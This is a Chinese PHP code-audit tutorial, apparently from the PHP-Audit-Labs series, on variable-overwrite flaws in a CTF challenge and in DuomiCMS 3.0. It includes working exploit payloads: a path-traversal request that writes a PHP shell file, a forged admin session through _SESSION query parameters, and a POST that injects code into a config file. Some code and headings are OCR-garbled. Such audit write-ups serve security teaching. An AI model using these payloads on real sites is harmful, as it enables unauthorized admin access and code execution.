```
一、题目
1、源码
2、知识点
3、解读
4、分用
5、利用
CMS
1、知识的-DuomiCMS_3.0
2、解读
4、分利度
3、解析
5、利度
6、利度
6、参考链接
```

# 一、题目

## 1、源码

### 2、知识点

知识点	说明
var_export()	输出或返回一个变量,以字符串形式表示

知识点	说明
get_object_vars()	获取对象中的属性,并组成一个数组

#### 3、解读

- 1) 第23行,实例化Carrot对象,通过GET方法接收值作为对象实参。
- 2) 第7行,对象实例化后,会调用构造函数\_\_construct(),调用函数foreach()对GET数据中的键值分别赋值给变量\$field和\$count。
- 3) 第15行,对象销毁前,会调用析构函数\_\_destruct(),将当前对象进行输出并写入到/tmp/下名字为随机数字的文件中。

### 4、分析

- 1) 第10行的函数foreach()会将GET传入的键值注册成变量,这里也就是说可以造成变量覆盖,并被服务端调用。
- 2) 第17行的文件写入的文件位置,是有\$id构成的,那么这里我们重写的目标就可以定为\$id,实现路径穿越写入木马,Getshell。

### 5、利用

?id=../var/www/html/shell.php&shell=',)%0a<?php phpinfo();?>//

#### 二、CMS

### 1、源码-DuomiCMS\_3.0

duomiphp/common.php

```
1 foreach(Array('_GET','_POST','_COOKIE') as $_request)
2 {
3    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
4 }
```

```
1 function _RunMagicQuotes(&$svar)
2 {
       lf(!get_magic_quotes_gpc())
4
5
           if( is_array($svar) )
6
               foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
8
9
10
11
              $svar = addslashes($svar);
12
13
14
      return $svar;
15 }
```

admin\admin\_ping.php

```
1 header('Content-Type:text/html;charset=utf-8');
 2 require_once(dirname(__FILE__)."/config.php");
 3 CheckPurview();
 4 if($action=="set")
 5 {
       $weburl= $_POST['weburl'];
$token = $_POST['token'];
 6
 8
        $open=fopen("../data/admin/ping.php","w" );
        $str='<?php ';</pre>
 9
       $str.='$weburl = "';
10
       $str.="$weburl";
$str.='"; ';
$str.='$token = "';
12
13
       $str.="$token";
14
15
       $str.='"; ';
        $str.=" ?>";
16
        fwrite($open,$str);
17
18
        fclose($open);
19 }
```

duomiphp\webscan.php

```
1 require_once(duomi_INC."/check.admin.php");
2 ......
3 //检验用户登录状态
4 $cuserLogin = new userLogin();
5 if($cuserLogin->getUserID()==-1)
6 {
7 header("location:login.php?gotopage=".urlencode($EkNowurl));
8 exit();
9 }
```

duomiphp\check.admin.php

```
1 class userLogin
 2 {
       var $userName = '';
       var $userPwd = '';
       var $userID = '';
var $adminDir = '';
       var $groupid = '';
       var $keepUserIDTag = "duomi_admin_id";
       var $keepgroupidTag = "duomi_group_id";
10
      var $keepUserNameTag = "duomi_admin_name";
       //php5构造函数
function __construct($admindir='')
13
14
           global $admin_path;
15
           if(isset($_SESSION[$this->keepUserIDTag]))
16
               $this->userID = $_SESSION[$this->keepUserIDTag];
               $this->groupid = $_SESSION[$this->keepgroupidTag];
18
19
               $this->userName = $_SESSION[$this->keepUserNameTag];
           }
20
21
       }
23
24 }
```

admin\login.php

```
uire_once(duomi_INC."/check.admin.php");
2 if($dopost=='login')
3 {
      $validate = empty($validate) ? '' : strtolower(trim($validate));
      $svali = strtolower(GetCkVdValue());
6
       if($validate=='' || $validate != $svali)
       {
          ResetVdValue();
8
          ShowMsg('验证码不正确!','-1');
9
10
          exit();
11
13
14
          $cuserLogin = new userLogin($admindir);
15
           if(!empty($userid) && !empty($pwd))
16
               $res = $cuserLogin->checkUser($userid,$pwd);
18
19
               if($res==1)
               {
20
21
                  $cuserLogin->keepUser();
22
                   if(!empty($gotopage))
23
                   {
                       ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
24
25
26
27
28
29
                      ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
30
                       exit();
31
                  }
32
               }
33
34
35
      }
36
37
  }
```

duomiphp\check.admin.php

#### 2、知识点

Nu11

#### 3、解读

- 1) 图1,这里就是变量注册的位置,其中调用了函数\_\_\_RunMagicQuotes()对GET、POST、REQUEST 方法传入的数据进行处理。
- 2) 图2,跟进函数\_RunMagicQuotes(),可以看到使用了函数addslashes()对值进行了过滤,那么也是可以绕过的,这里找一下可以写入文件的位置。
- 3) 图3,通过搜索函数fwrite()到admin\_ping.php,其中通过POST方法接收了'weburl'、'token',并拼接字符串写入到php文件中。
- 4) 图4, 既然是通过POST接收的数据,那也就会经过图1中\_RunMagicQuotes的处理,并且在图4中可以看到具体的过滤规则,也就是存在变量覆盖了。
- 5) 图5,由于admin\_ping.php为后台文件,那么需要考虑前台如何搞定。该图中,包含了admin\config.php。
- 6) 图6,跟进到用户登录函数userLogin(),这里通过SESSION方法记录了UserID、groupId、UserName,并进行验证。
- 7) 图7,跟进到函数userLogin()调用的地方login.php文件,可以看到这里调用了函数 checkUser()对用户名密码进行判断,返回1即代表管理员用户。
  - 8) 图8, 跟进到函数checkUser()中,这里定义了SQL语句进行查询。

### 4、分析

1) 找到一个开启session认证(全局搜索session\_start()的文件。

Content-Type: application/x-www-form-urlencoded

Content-Length: 34

weburl=";phpinfo();//&token=

- 2) 访问文件并传入session变量的duomi\_group\_和duomi\_admin\_的值都为1,此时就成功利用变量覆盖,绕过了身份验证,成为管理员。
  - 3) 此时POST请求admin\_ping.php,并写入weburl的值为payload,成功命令执行。

### 5、利用

```
1) 访问开启session_start()的文件,进行身份伪造。
   http://localhost/member/share.php?
_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1
    2) POST请求amdin/admin_ping.php
POST /admin/admin_ping.php?action=set HTTP/1.1
Host: www.localhost.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;
q = 0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

## 6、修复方案

检测变量名是否为PHP原有的变量。

## 7、参考链接

https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day14/files/README.md